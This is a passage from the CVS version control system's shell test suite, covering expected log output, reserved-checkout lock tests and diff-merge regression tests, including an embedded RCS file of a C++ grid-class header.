\"${testcvs} log\" \\\n\"${PROG} log: Logging \\.\n\nRCS file: ${CVSROOT_DIRNAME}/first-dir/aaa,v\nWorking file: aaa\nhead: 1\\.4\nbranch:\nlocks: strict\naccess list:\nsymbolic names:\n\tbr1: 1\\.3\\.0\\.2\nkeyword substitution: kv\ntotal revisions: 5;\tselected revisions: 5\ndescription:\n----------------------------\nrevision 1\\.4\ndate: [0-9/]* [0-9:]*; author: ${username}; state: Exp; lines: ${PLUS}1 -0\nfourth\n----------------------------\nrevision 1\\.3\ndate: [0-9/]* [0-9:]*; author: ${username}; state: Exp; lines: ${PLUS}1 -0\nbranches: 1\\.3\\.2;\nthird\n----------------------------\nrevision 1\\.2\ndate: [0-9/]* [0-9:]*; author: ${username}; state: Exp; lines: ${PLUS}1 -0\nsecond\n----------------------------\nrevision 1\\.1\ndate: [0-9/]* [0-9:]*; author: ${username}; state: Exp;\nfirst\n----------------------------\nrevision 1\\.3\\.2\\.4\ndate: [0-9/]* [0-9:]*; author: ${username}; state: Exp; lines: ${PLUS}4 -0\nbranch-four\n=============================================================================\n\nRCS file: ${CVSROOT_DIRNAME}/first-dir/file1,v\nWorking file: file1\nhead: 1\\.1\nbranch:\nlocks: strict\naccess list:\n\tfoo\n\tauth2\nsymbolic names:\n\ttagten: 1\\.1\n\tBO${PLUS}GUS: 1\\.1\nkeyword substitution: kv\ntotal revisions: 2;\tselected revisions: 2\ndescription:\n----------------------------\nrevision 1\\.1\ndate: [0-9/]* [0-9:]*; author: ${username}; state: Exp;\nbranches: 1\\.1\\.2;\nadd\n----------------------------\nrevision 1\\.1\\.2\\.1\ndate: [0-9/]* [0-9:]*; author: ${username}; state: foo; lines: ${PLUS}1 -0\nmodify-on-branch\n=============================================================================\n\nRCS file: ${CVSROOT_DIRNAME}/first-dir/file2,v\nWorking file: file2\nhead: 1\\.4\nbranch:\nlocks: strict\naccess list:\n\tauth3\n\tauth2\n\tfoo\nsymbolic names:\n\ttagfour: 1\\.3\n\tbr4: 1\\.1\\.0\\.2\n\tbr2: 1\\.1\\.0\\.2\n\ttagthree: 1\\.1\n\tbr1: 1\\.1\\.0\\.2\n\ttagtwo: 1\\.1\n\ttagone: 1\\.1\n\tbr: 1\\.1\\.0\\.2\nkeyword substitution: kv\ntotal revisions: 3;\tselected revisions: 3\ndescription:\n----------------------------\nrevision 1\\.4\ndate: [0-9/]* [0-9:]*; author: ${username}; state: Exp; lines: ${PLUS}1 -0\nyet_another\n----------------------------\nrevision 1\\.3\ndate: [0-9/]* [0-9:]*; author: ${username}; state: Exp; lines: ${PLUS}1 -0\nnuthr_line\n----------------------------\nrevision 1\\.2\ndate: [0-9/]* [0-9:]*; author: ${username}; state: Exp;\nmodify\n=============================================================================\n\nRCS file: ${CVSROOT_DIRNAME}/first-dir/Attic/file3,v\nWorking file: file3\nhead: 1\\.1\nbranch:\nlocks: strict\naccess list:\nsymbolic names:\n\tbr: 1\\.1\\.0\\.2\nkeyword substitution: kv\ntotal revisions: 2;\tselected revisions: 2\ndescription:\n----------------------------\nrevision 1\\.1\ndate: [0-9/]* [0-9:]*; author: ${username}; state: dead;\nbranches: 1\\.1\\.2;\nfile file3 was initially added on branch br\\.\n----------------------------\nrevision 1\\.1\\.2\\.1\ndate: [0-9/]* [0-9:]*; author: ${username}; state: Exp; lines: ${PLUS}1 -0\nanother-log-message\n=============================================================================\"\n\n\t cd ../..\n\t if $keep; then\n\t echo Keeping ${TESTDIR} and exiting due to --keep\n\t exit 0\n\t fi\n\t # clean up our after ourselves\n\t rm -r 1\n\t rm -rf ${CVSROOT_DIRNAME}/first-dir\n\t ;;\n\n\treserved)\n\t # Tests of reserved checkouts. Eventually this will test\n\t # rcslock.pl (or equivalent) and all kinds of stuff. Right\n\t # now it just does some very basic checks on cvs admin -u\n\t # and cvs admin -l.\n\t # Also should test locking on a branch (and making sure that\n\t # locks from one branch don't get mixed up with those from\n\t # another. Both the case where one of the branches is the\n\t # main branch, and in which neither one is).\n\t # See also test keyword, which tests that keywords and -kkvl\n\t # do the right thing in the presence of locks.\n\n\t # The usual setup, directory first-dir containing file file1.\n\t mkdir 1; cd 1\n\t dotest reserved-1 \"${testcvs} -q co -l .\" ''\n\t mkdir first-dir\n\t dotest reserved-2 \"${testcvs} add first-dir\" \\\n\"Directory ${CVSROOT_DIRNAME}/first-dir added to the repository\"\n cd first-dir\n\t touch file1\n\t dotest reserved-3 \"${testcvs} add file1\" \\\n\"${PROG} add: scheduling file .file1. for addition\n${PROG} add: use .${PROG} commit. to add this file permanently\"\n\t dotest reserved-4 \"${testcvs} -q ci -m add\" \\\n\"RCS file: ${CVSROOT_DIRNAME}/first-dir/file1,v\ndone\nChecking in file1;\n${CVSROOT_DIRNAME}/first-dir/file1,v <-- file1\ninitial revision: 1\\.1\ndone\"\n\n\t dotest reserved-5 \"${testcvs} -q admin -l file1\" \\\n\"RCS file: ${CVSROOT_DIRNAME}/first-dir/file1,v\n1\\.1 locked\ndone\"\n\t dotest reserved-6 \"${testcvs} log -N file1\" \"\nRCS file: ${CVSROOT_DIRNAME}/first-dir/file1,v\nWorking file: file1\nhead: 1\\.1\nbranch:\nlocks: strict\n\t${username}: 1\\.1\naccess list:\nkeyword substitution: kv\ntotal revisions: 1;\tselected revisions: 1\ndescription:\n----------------------------\nrevision 1\\.1\tlocked by: ${username};\ndate: [0-9/]* [0-9:]*; author: ${username}; state: Exp;\nadd\n=============================================================================\"\n\n\t # Note that this just tests the owner of the lock giving\n\t # it up. It doesn't test breaking a lock.\n\t dotest reserved-7 \"${testcvs} -q admin -u file1\" \\\n\"RCS file: ${CVSROOT_DIRNAME}/first-dir/file1,v\n1\\.1 unlocked\ndone\"\n\n\t dotest reserved-8 \"${testcvs} log -N file1\" \"\nRCS file: ${CVSROOT_DIRNAME}/first-dir/file1,v\nWorking file: file1\nhead: 1\\.1\nbranch:\nlocks: strict\naccess list:\nkeyword substitution: kv\ntotal revisions: 1;\tselected revisions: 1\ndescription:\n----------------------------\nrevision 1\\.1\ndate: [0-9/]* [0-9:]*; author: ${username}; state: Exp;\nadd\n=============================================================================\"\n\n\t # rcslock.pl tests. Of course, the point isn't to test\n\t # rcslock.pl from the distribution but equivalent\n\t # functionality (for example, many sites may have an old\n\t # rcslock.pl). The functionality of this hook falls\n\t # short of the real rcslock.pl though.\n\t # Note that we can use rlog or look at the RCS file directly,\n\t # but we can't use \"cvs log\" because \"cvs commit\" has a lock.\n\n\t cat >${TESTDIR}/lockme <&2\n exit 1\nfi\nEOF\n\t # Cygwin. Blaaarg.\n\t if test -n \"$remotehost\"; then\n\t $CVS_RSH $remotehost \"chmod +x ${TESTDIR}/lockme\"\n\t else\n\t chmod +x ${TESTDIR}/lockme\n\t fi\n\n\t echo stuff > a-lock\n\t dotest reserved-9 \"${testcvs} add a-lock\" \\\n\"${PROG} add: scheduling file .a-lock. for addition\n${PROG} add: use .${PROG} commit. to add this file permanently\"\n\t dotest reserved-10 \"${testcvs} -q ci -m new a-lock\" \\\n\"RCS file: ${CVSROOT_DIRNAME}/first-dir/a-lock,v\ndone\nChecking in a-lock;\n${CVSROOT_DIRNAME}/first-dir/a-lock,v <-- a-lock\ninitial revision: 1\\.1\ndone\"\n\t # FIXME: the contents of CVSROOT fluctuate a lot\n\t # here. Maybe the expect pattern should just\n\t # confirm that commitinfo is one of the files checked out,\n\t # but for now we just check that CVS exited with success.\n\t cd ..\n\t if ${testcvs} -q co CVSROOT >>${LOGFILE} ; then\n\t pass reserved-11\n\t else\n\t fail reserved-11\n\t fi\n\t cd CVSROOT\n\t echo \"DEFAULT ${TESTDIR}/lockme\" >>commitinfo\n\t dotest reserved-12 \"${testcvs} -q ci -m rcslock commitinfo\" \\\n\"Checking in commitinfo;\n${CVSROOT_DIRNAME}/CVSROOT/commitinfo,v <-- commitinfo\nnew revision: 1\\.2; previous revision: 1\\.1\ndone\n${PROG} commit: Rebuilding administrative file database\"\n\t cd ..; cd first-dir\n\n\t # Simulate (approximately) what a-lock would look like\n\t # if someone else had locked revision 1.1.\n\t sed -e 's/locks; strict;/locks fred:1.1; strict;/' ${CVSROOT_DIRNAME}/first-dir/a-lock,v > a-lock,v\n\t # Cygwin.\n\t if test -n \"$remotehost\"; then\n\t $CVS_RSH $remotehost \"chmod 644 ${CVSROOT_DIRNAME}/first-dir/a-lock,v\"\n\t else\n\t chmod 644 ${CVSROOT_DIRNAME}/first-dir/a-lock,v\n\t fi\n\t dotest reserved-13 \"mv a-lock,v ${CVSROOT_DIRNAME}/first-dir/a-lock,v\"\n\t # Cygwin. Blah.\n\t if test -n \"$remotehost\"; then\n\t $CVS_RSH $remotehost \"chmod 444 ${CVSROOT_DIRNAME}/first-dir/a-lock,v\"\n\t else\n\t chmod 444 ${CVSROOT_DIRNAME}/first-dir/a-lock,v\n\t fi\n\t echo more stuff >> a-lock\n\t dotest_fail reserved-13b \"${testcvs} ci -m '' a-lock\" \\\n\"fred has file a-lock locked for version 1\\.1\n${PROG} commit: Pre-commit check failed\n${PROG} \\[commit aborted\\]: correct above errors first!\"\n\t # OK, now test \"cvs admin -l\" in the case where someone\n\t # else has the file locked.\n\t dotest_fail reserved-13c \"${testcvs} admin -l a-lock\" \\\n\"RCS file: ${CVSROOT_DIRNAME}/first-dir/a-lock,v\n${PROG} \\[admin aborted\\]: Revision 1\\.1 is already locked by fred\"\n\n\t dotest reserved-14 \"${testcvs} admin -u1.1 a-lock\" \\\n\"RCS file: ${CVSROOT_DIRNAME}/first-dir/a-lock,v\n${PROG} admin: ${CVSROOT_DIRNAME}/first-dir/a-lock,v: revision 1\\.1 locked by fred; breaking lock\n1\\.1 unlocked\ndone\"\n\t dotest reserved-15 \"${testcvs} -q ci -m success a-lock\" \\\n\"Checking in a-lock;\n${CVSROOT_DIRNAME}/first-dir/a-lock,v <-- a-lock\nnew revision: 1\\.2; previous revision: 1\\.1\ndone\"\n\n\t # Now test for a bug involving branches and locks\n\t sed -e 's/locks; strict;/locks fred:1.2; strict;/' ${CVSROOT_DIRNAME}/first-dir/a-lock,v > a-lock,v\n\t chmod 644 ${CVSROOT_DIRNAME}/first-dir/a-lock,v\n\t dotest reserved-16 \\\n\"mv a-lock,v ${CVSROOT_DIRNAME}/first-dir/a-lock,v\" \"\"\n\t chmod 444 ${CVSROOT_DIRNAME}/first-dir/a-lock,v\n\t dotest reserved-17 \"${testcvs} -q tag -b br a-lock\" \"T a-lock\"\n\t dotest reserved-18 \"$testcvs -q update -r br a-lock\" '[UP] a-lock'\n\t echo edit it >>a-lock\n\t dotest reserved-19 \"${testcvs} -q ci -m modify a-lock\" \\\n\"Checking in a-lock;\n${CVSROOT_DIRNAME}/first-dir/a-lock,v <-- a-lock\nnew revision: 1\\.2\\.2\\.1; previous revision: 1\\.2\ndone\"\n\n\t # undo commitinfo changes\n\t cd ../CVSROOT\n\t echo '# vanilla commitinfo' >commitinfo\n\t dotest reserved-cleanup-1 \"${testcvs} -q ci -m back commitinfo\" \\\n\"Checking in commitinfo;\n${CVSROOT_DIRNAME}/CVSROOT/commitinfo,v <-- commitinfo\nnew revision: 1\\.3; previous revision: 1\\.2\ndone\n${PROG} commit: Rebuilding administrative file database\"\n\t cd ..; rm -r CVSROOT; cd first-dir\n\n\t cd ../..\n\t rm -r 1\n\t rm ${TESTDIR}/lockme\n\t rm -rf ${CVSROOT_DIRNAME}/first-dir\n\t ;;\n\n diffmerge1)\n\t # Make sure CVS can merge correctly in circumstances where it\n\t # used to mess up (due to a bug which existed in diffutils 2.7\n\t # and 2.6, but not 2.5, and which has been fixed in CVS's diff\n\t # lib by , bless his bitty heart).\n\n\t # This first test involves two working copies, \"mine\" and\n\t # \"yours\", checked out from the same repository at the same\n\t # time. In yours, you remove some text from the end of the\n\t # file and check it in; meanwhile, \"me\" has commented out some\n\t # lines earlier in the file, and I go to check it in right\n\t # after you checked yours in. CVS naturally tells me the file\n\t # is not up-to-date, so I run cvs update, but it updates\n\t # incorrectly, leaving in the lines of text you just deleted.\n\t # Bad! I'm in too much of a hurry to actually look at the\n\t # file, so I check it in and go home, and so your changes have\n\t # been lost. Later you discover this, and you suspect me of\n\t # deliberately sabotaging your work, so you let all the air\n\t # out of my tires. Only after a series of expensive lawsuits\n\t # and countersuits do we discover that this was all CVS's\n\t # fault.\n\t #\n\t # Luckily, this problem has been fixed now, as our test will\n\t # handily confirm, no doubt:\n\n\t # First make a repository containing the original text:\n\n\t # We should be here anyway, but cd to it just in case:\n\t cd ${TESTDIR}\n\n\t mkdir diffmerge1\n\t cd diffmerge1\n\n\t # These are the files we both start out with:\n\t mkdir import\n\t cd import\n\t diffmerge_create_older_files\n\n\t dotest diffmerge1_import \\\n\t \"${testcvs} import -m import diffmerge1 tag1 tag2\" \\\n\t \"${DOTSTAR}No conflicts created by this import\"\n\t cd ..\n\n\t # Check out two working copies, one for \"you\" and one for\n\t # \"me\". If no branch is used and cvs detects that only one\n\t # of the two people made changes, then cvs does not run the\n\t # merge algorithm. But if a branch is used, then cvs does run\n\t # the merge algorithm (even in this case of only one of the two\n\t # people having made changes). CVS used to have a bug in this\n\t # case. Therefore, it is important to test this case by\n\t # using a branch:\n\t ${testcvs} rtag -b tag diffmerge1 >/dev/null 2>&1\n\t ${testcvs} checkout -r tag diffmerge1 >/dev/null 2>&1\n\t mv diffmerge1 yours\n\t ${testcvs} checkout diffmerge1 >/dev/null 2>&1\n\t mv diffmerge1 mine\n\n\t # In your working copy, you'll make changes, and\n\t # then check in your changes before I check in mine:\n\t cd yours\n\t diffmerge_create_your_files\n dotest diffmerge1_yours \"${testcvs} -q ci -m yours\" \\\n\"Checking in testcase01;\n${CVSROOT_DIRNAME}/diffmerge1/testcase01,v <-- testcase01\nnew revision: 1\\.1\\.1\\.1\\.2\\.1; previous revision: 1\\.1\\.1\\.1\ndone\nChecking in testcase02;\n${CVSROOT_DIRNAME}/diffmerge1/testcase02,v <-- testcase02\nnew revision: 1\\.1\\.1\\.1\\.2\\.1; previous revision: 1\\.1\\.1\\.1\ndone\nChecking in testcase03;\n${CVSROOT_DIRNAME}/diffmerge1/testcase03,v <-- testcase03\nnew revision: 1\\.1\\.1\\.1\\.2\\.1; previous revision: 1\\.1\\.1\\.1\ndone\nChecking in testcase04;\n${CVSROOT_DIRNAME}/diffmerge1/testcase04,v <-- testcase04\nnew revision: 1\\.1\\.1\\.1\\.2\\.1; previous revision: 1\\.1\\.1\\.1\ndone\nChecking in testcase05;\n${CVSROOT_DIRNAME}/diffmerge1/testcase05,v <-- testcase05\nnew revision: 1\\.1\\.1\\.1\\.2\\.1; previous revision: 1\\.1\\.1\\.1\ndone\nChecking in testcase06;\n${CVSROOT_DIRNAME}/diffmerge1/testcase06,v <-- testcase06\nnew revision: 1\\.1\\.1\\.1\\.2\\.1; previous revision: 1\\.1\\.1\\.1\ndone\nChecking in testcase07;\n${CVSROOT_DIRNAME}/diffmerge1/testcase07,v <-- testcase07\nnew revision: 1\\.1\\.1\\.1\\.2\\.1; previous revision: 1\\.1\\.1\\.1\ndone\nChecking in testcase08;\n${CVSROOT_DIRNAME}/diffmerge1/testcase08,v <-- testcase08\nnew revision: 1\\.1\\.1\\.1\\.2\\.1; previous revision: 1\\.1\\.1\\.1\ndone\nChecking in testcase09;\n${CVSROOT_DIRNAME}/diffmerge1/testcase09,v <-- testcase09\nnew revision: 1\\.1\\.1\\.1\\.2\\.1; previous revision: 1\\.1\\.1\\.1\ndone\nChecking in testcase10;\n${CVSROOT_DIRNAME}/diffmerge1/testcase10,v <-- testcase10\nnew revision: 1\\.1\\.1\\.1\\.2\\.1; previous revision: 1\\.1\\.1\\.1\ndone\"\n\n\t # Change my copy. Then I\n\t # update, after both my modifications and your checkin:\n\t cd ../mine\n\t diffmerge_create_my_files\n\t dotest diffmerge1_mine \"${testcvs} -q update -j tag\" \\\n\"M testcase01\nRCS file: ${CVSROOT_DIRNAME}/diffmerge1/testcase01,v\nretrieving revision 1\\.1\\.1\\.1\nretrieving revision 1\\.1\\.1\\.1\\.2\\.1\nMerging differences between 1\\.1\\.1\\.1 and 1\\.1\\.1\\.1\\.2\\.1 into testcase01\nM testcase02\nRCS file: ${CVSROOT_DIRNAME}/diffmerge1/testcase02,v\nretrieving revision 1\\.1\\.1\\.1\nretrieving revision 1\\.1\\.1\\.1\\.2\\.1\nMerging differences between 1\\.1\\.1\\.1 and 1\\.1\\.1\\.1\\.2\\.1 into testcase02\nM testcase03\nRCS file: ${CVSROOT_DIRNAME}/diffmerge1/testcase03,v\nretrieving revision 1\\.1\\.1\\.1\nretrieving revision 1\\.1\\.1\\.1\\.2\\.1\nMerging differences between 1\\.1\\.1\\.1 and 1\\.1\\.1\\.1\\.2\\.1 into testcase03\nM testcase04\nRCS file: ${CVSROOT_DIRNAME}/diffmerge1/testcase04,v\nretrieving revision 1\\.1\\.1\\.1\nretrieving revision 1\\.1\\.1\\.1\\.2\\.1\nMerging differences between 1\\.1\\.1\\.1 and 1\\.1\\.1\\.1\\.2\\.1 into testcase04\nRCS file: ${CVSROOT_DIRNAME}/diffmerge1/testcase05,v\nretrieving revision 1\\.1\\.1\\.1\nretrieving revision 1\\.1\\.1\\.1\\.2\\.1\nMerging differences between 1\\.1\\.1\\.1 and 1\\.1\\.1\\.1\\.2\\.1 into testcase05\nRCS file: ${CVSROOT_DIRNAME}/diffmerge1/testcase06,v\nretrieving revision 1\\.1\\.1\\.1\nretrieving revision 1\\.1\\.1\\.1\\.2\\.1\nMerging differences between 1\\.1\\.1\\.1 and 1\\.1\\.1\\.1\\.2\\.1 into testcase06\nM testcase07\nRCS file: ${CVSROOT_DIRNAME}/diffmerge1/testcase07,v\nretrieving revision 1\\.1\\.1\\.1\nretrieving revision 1\\.1\\.1\\.1\\.2\\.1\nMerging differences between 1\\.1\\.1\\.1 and 1\\.1\\.1\\.1\\.2\\.1 into testcase07\ntestcase07 already contains the differences between 1\\.1\\.1\\.1 and 1\\.1\\.1\\.1\\.2\\.1\nM testcase08\nRCS file: ${CVSROOT_DIRNAME}/diffmerge1/testcase08,v\nretrieving revision 1\\.1\\.1\\.1\nretrieving revision 1\\.1\\.1\\.1\\.2\\.1\nMerging differences between 1\\.1\\.1\\.1 and 1\\.1\\.1\\.1\\.2\\.1 into testcase08\nM testcase09\nRCS file: ${CVSROOT_DIRNAME}/diffmerge1/testcase09,v\nretrieving revision 1\\.1\\.1\\.1\nretrieving revision 1\\.1\\.1\\.1\\.2\\.1\nMerging differences between 1\\.1\\.1\\.1 and 1\\.1\\.1\\.1\\.2\\.1 into testcase09\nM testcase10\nRCS file: ${CVSROOT_DIRNAME}/diffmerge1/testcase10,v\nretrieving revision 1\\.1\\.1\\.1\nretrieving revision 1\\.1\\.1\\.1\\.2\\.1\nMerging differences between 1\\.1\\.1\\.1 and 1\\.1\\.1\\.1\\.2\\.1 into testcase10\"\n\n\t # So if your changes didn't make it into my working copy, or\n\t # in any case if the files do not look like the final text\n\t # in the files in directory comp_me, then the test flunks:\n\t cd ..\n\t mkdir comp_me\n\t cd comp_me\n\t diffmerge_create_expected_files\n\t cd ..\n\t rm mine/.#*\n\n\t # If you have GNU's version of diff, you may try\n\t # uncommenting the following line which will give more\n\t # fine-grained information about how cvs differed from the\n\t # correct result:\n\t #dotest diffmerge1_cmp \"diff -u --recursive --exclude=CVS comp_me mine\" ''\n\t dotest diffmerge1_cmp \"directory_cmp comp_me mine\"\n\n\t # Clean up after ourselves:\n\t cd ..\n\t if $keep; then :; else\n\t rm -rf diffmerge1 ${CVSROOT_DIRNAME}/diffmerge1\n\t fi\n\t ;;\n\n diffmerge2)\n\n\t # FIXME: This test should be rewritten to be much more concise.\n\t # It currently weighs in at something like 600 lines, but the\n\t # same thing could probably be tested in more like 50-100 lines.\n\t mkdir diffmerge2\n\n\t # This tests for another diffmerge bug reported by Martin\n\t # Tomes; actually, his bug was probably caused by an initial\n\t # fix for the bug in test diffmerge1, and likely wasn't ever\n\t # a problem in CVS as long as one was using a normal\n\t # distribution of diff or a version of CVS that has the diff\n\t # lib in it. \n\t #\n\t # Nevertheless, once burned twice cautious, so we test for his\n\t # bug here.\n\t #\n\t # Here is his report, more or less verbatim:\n\t # ------------------------------------------\n\t #\n\t # Put the attached file (sgrid.h,v) into your repository\n\t # somewhere, check out the module and do this:\n\t #\n\t # cvs update -j Review_Phase_2_Enhancements sgrid.h\n\t # cvs diff -r Review_V1p3 sgrid.h\n\t #\n\t # As there have been no changes made on the trunk there\n\t # should be no differences, however this is output:\n\t #\n\t # % cvs diff -r Review_V1p3 sgrid.h\n\t # Index: sgrid.h\n\t # ===================================================================\n\t # RCS file: /usr/local/repository/play/fred/sgrid.h,v\n\t # retrieving revision 1.1.2.1\n\t # diff -r1.1.2.1 sgrid.h\n\t # 178a179,184\n\t # > /*--------------------------------------------------------------\n\t # > INLINE FUNCTION : HORIZONTALLINES\n\t # > NOTES : Description at the end of the file\n\t # > ----------------------------------------------------------------*/\n\t # > uint16 horizontalLines( void );\n\t # >\n\t #\n\t # I did a cvs diff -c -r 1.1 -r 1.1.2.1 sgrid.h and patched those\n\t # differences to sgrid.h version 1.1 and got the correct result\n\t # so it looks like the built in patch is faulty.\n\t # -------------------------------------------------------------------\n\t #\n\t # This is the RCS file, sgrid.h,v, that he sent:\n\n\t echo \"head\t1.1;\naccess;\nsymbols\n\tReview_V1p3:1.1.2.1\n\tReview_V1p3C:1.1.2.1\n\tReview_1p3A:1.1.2.1\n\tReview_V1p3A:1.1.2.1\n\tReview_Phase_2_Enhancements:1.1.0.2\n\tReview_V1p2:1.1\n\tReview_V1p2B:1.1\n\tReview_V1p2A:1.1\n\tReview_V1p1:1.1\n\tReview_1p1:1.1;\nlocks; strict;\ncomment\t@ * @;\n\n\n1.1\ndate\t97.04.02.11.20.05;\tauthor colinl;\tstate Exp;\nbranches\n\t1.1.2.1;\nnext\t;\n\n1.1.2.1\ndate\t97.06.09.10.00.07;\tauthor colinl;\tstate Exp;\nbranches;\nnext\t;\n\n\ndesc\n@@\n\n\n1.1\nlog\n@Project: DEV1175\nDCN:\nTested By: \nReviewed By:\nReason for Change: Initial Revision of all files\n\nDesign Change Details:\n\nImplications:\n@\ntext\n@/* \\$\"\"Header: L:/gpanels/dis/sgrid.h_v 1.1.1.0 24 Jan 1996 14:59:20 PAULT \\$ */\n/*\n * \\$\"\"Log: L:/gpanels/dis/sgrid.h_v \\$\n * \n * Rev 1.1.1.0 24 Jan 1996 14:59:20 PAULT\n * Branched\n * \n * Rev 1.1 24 Jan 1996 12:09:52 PAULT\n * Consolidated 4100 code merged to trunk\n * \n * Rev 1.0.2.0 01 Jun 1995 14:18:58 DAVEH\n * Branched\n * \n * Rev 1.0 19 Apr 1995 16:32:48 COLINL\n * Initial revision.\n*/\n/*****************************************************************************\nFILE : SGRID.H\nVERSION : 2.1\nAUTHOR : \nSYSTEM : Borland C++\nDESCRIPTION : The declaration of the scrolling grid class\n \n*****************************************************************************/\n#if !defined(__SGRID_H)\n#define __SGRID_H\n\n#if !defined(__SCROLL_H)\n#include \n#endif\n\n#if !defined(__GKI_H)\n#include \\\"gki.h\\\"\n#endif\n\n#if defined PRINTING_SUPPORT\nclass Printer;\n#endif\n\n/*****************************************************************************\nCLASS : ScrollingGrid \nDESCRIPTION: This class inherits from a grid and a scrollable, and\n can therefore use all the PUBLIC services provided by these\n classes. A description of these can be found in\n GRID.H and SCROLL.H.\n A scrolling grid is a set of horizontal and vertical lines\n that scroll and continually update to provide a complete grid\n\n*****************************************************************************/\n\nclass ScrollingGrid : public Scrollable\n{\n public:\n#if defined _WINDOWS\n/*---------------------------------------------------------------------------\nFUNCTION : CONSTRUCTOR\nDESCRIPTION : sets up the details of the grid, ready for painting\nARGUMENTS : name : sgColour\n - the colour of the grid\n sgLineType\n - the syle of line\n sgHorizontalTotal\n - the total number of horizontal grid lines\n verticalSpacingMin\n - the min distance between the vertical grid lines\n on the scrolling axis\n currentTimestamp\n - timestamp value now\n ticksPerSecond\n - number of timestamp ticks per second\n ticksPerPixel\n - number of timestamp ticks per pixel required\n \nRETURN : None\nNOTES : \n---------------------------------------------------------------------------*/\n ScrollingGrid( GkiColour sgColour, GkiLineType sgLineType, \n uint16 sgHorizontalTotal, \n uint16 verticalSpacingMin, uint32 currentTimestamp, \n uint16 ticksPerSecond, uint32 ticksPerPixel );\n#else\n/*---------------------------------------------------------------------------\nFUNCTION : CONSTRUCTOR\nDESCRIPTION : sets up the details of the grid, ready for painting\nARGUMENTS : name : sgColour\n - the colour of the grid\n sgLineType\n - the syle of line\n sgHorizontalTotal ( THE MAX NUMBER OF LINES IS 100 )\n - the total number of horizontal grid lines\n sgVerticalSpacing\n - the distance between the vertical grid lines\n on the scrolling axis\n \nRETURN : None\nNOTES : If the caller does not get the total grid lines value, synced\n with the overall size of the viewport, the spacing between\n grid lines will not be consistent.\n\n---------------------------------------------------------------------------*/\n ScrollingGrid( GkiColour sgColour, GkiLineType sgLineType\n , uint16 sgHorizontalTotal, uint16 sgVerticalSpacing );\n#endif\n/*---------------------------------------------------------------------------\nFUNCTION : DESTRUCTOR\nDESCRIPTION : tidies it all up\nARGUMENTS : name : \n \nRETURN : None\nNOTES : \n---------------------------------------------------------------------------*/\n ~ScrollingGrid( void );\n\n/*---------------------------------------------------------------------------\nFUNCTION : ATTACH\nDESCRIPTION : This service overloads the base class service, as it does\n additional work at the time of attachment.\n\nARGUMENTS : name : tDrawingArea\n - the scrolled viewport to attach this trend to\n \nRETURN : None\nNOTES :\n---------------------------------------------------------------------------*/\n void attach( SViewport *tDrawingArea );\n\n#if defined _WINDOWS\n/*---------------------------------------------------------------------------\nFUNCTION : calculateVerticalSpacing\nDESCRIPTION : determines optimum spacing along time axis\nARGUMENTS : \nRETURN : None\nNOTES : \n---------------------------------------------------------------------------*/\n void calculateVerticalSpacing();\n\n/*---------------------------------------------------------------------------\nFUNCTION : gridSpacingTicks\nDESCRIPTION : Provides the grid spacing in the time axis in ticks\nARGUMENTS : \nRETURN : Number of ticks\nNOTES : \n---------------------------------------------------------------------------*/\n uint32 gridSpacingTicks();\n\n#endif\n\n/*---------------------------------------------------------------------------\nINLINE FUNCTION : HORIZONTALLINES\nNOTES : Description at the end of the file\n---------------------------------------------------------------------------*/\n uint16 horizontalLines( void );\n\n#if defined _WINDOWS\n// In Windows the OnDraw() function replaces paint()\n/*---------------------------------------------------------------------------\nFUNCTION : ScrollingGrid OnDraw \nDESCRIPTION : Paints the given area of the grid.\n Pure virtual\nARGUMENTS : pDC pointer to the device context to use for display\n Note that the device context operates in the coords\n of the window owning the viewport\nRETURN : None\nNOTES : \n---------------------------------------------------------------------------*/\n virtual void OnDraw( CDC *pDC );\n\n#else // not Windows \n\n/*---------------------------------------------------------------------------\nFUNCTION : PAINT\nDESCRIPTION : This extends the standard grid paint method to paint the\n viewport relative to its current position. \n \nARGUMENTS : name : \n \nRETURN : None\nNOTES : \n---------------------------------------------------------------------------*/\n void paint( void );\n#endif\n\n/*---------------------------------------------------------------------------\nFUNCTION : P A I N T T E X T M A R K E R S \nDESCRIPTION : this service allow the text markers to be painted seperatley\n from the grid lines\n\nARGUMENTS : name : \n \nRETURN : None\nNOTES : \n---------------------------------------------------------------------------*/\n void paintTextMarkers();\n\n#if defined PRINTING_SUPPORT\n/*---------------------------------------------------------------------------\nFUNCTION : P R I N T \nDESCRIPTION : This print service prints a grid marker ( being either a\n timestamp or a date, IF there is one at the plot position\n given\n\nARGUMENTS : name :\n displayPosition\n - Where in the log to look to see if there is an\n entry to print\n\n - printerPtr\n the printer to print to\n \nRETURN : None\nNOTES : \n---------------------------------------------------------------------------*/\n void print( uint16 currentPrintPos, Printer *printerPtr );\n#endif\n\n/*---------------------------------------------------------------------------\nFUNCTION : S E T D R I V E D I R E C T I O N\nDESCRIPTION : Sets direction for update and scrolling forwards or backwards\nARGUMENTS : direction - required direction\nRETURN : None\nNOTES : \n---------------------------------------------------------------------------*/\n void setDriveDirection( ScrollDirection direction );\n\n/*---------------------------------------------------------------------------\nFUNCTION : S E T U P \nDESCRIPTION : service that will setup the grid prior to a paint\n\nARGUMENTS : name :\n - newTimestamp\n \n\n - newTimeBase\n the number of ticks that represent a plot point on\n the trendgraph. \n \nRETURN : None\nNOTES : \n---------------------------------------------------------------------------*/\n void setup( uint32 newTimestamp, uint32 newTimeBase );\n\n#if defined PRINTING_SUPPORT\n/*---------------------------------------------------------------------------\nFUNCTION : S E T U P F O R P R I N T \nDESCRIPTION : This service iis to be called prior to printing. It allows\n the grid to prepare its markers ready for the print\n commands\n\nARGUMENTS : name : \n \nRETURN : None\nNOTES : \n---------------------------------------------------------------------------*/\n void setupForPrint();\n#endif\n\n/*---------------------------------------------------------------------------\nFUNCTION : UPDATE\nDESCRIPTION : When this service is called it will calculate what needs to\n be painted and fill in the display again.\n\nARGUMENTS : name : timeStamp\n - the reference time of this update.\n \nRETURN : None\nNOTES : \n---------------------------------------------------------------------------*/\n void update( uint32 timeStamp );\n\n/*---------------------------------------------------------------------------\nFUNCTION : U P D A T E B U F F E R\nDESCRIPTION : When a display update is not required, use this method. It\n updates the internal data ready for a call to paint that\n will then show the grid in the right position\n\nARGUMENTS : name : \n \nRETURN : None\nNOTES : \n---------------------------------------------------------------------------*/\n void updateBuffer( void );\n\n private:\n\n/*---------------------------------------------------------------------------\nFUNCTION : M A K E G R I D M A R K E R \nDESCRIPTION : service that perpares a string for display. The string will\n either be a short date, or short time. this is determined\n by the current setting of the dateMarker flag\n\nARGUMENTS : name : timestampVal\n - the value to convert\n \n storePtr\n - the place to put the string\n\nRETURN : None\nNOTES : \n---------------------------------------------------------------------------*/\n void makeGridMarker( uint32 timestampVal, char *storePtr );\n 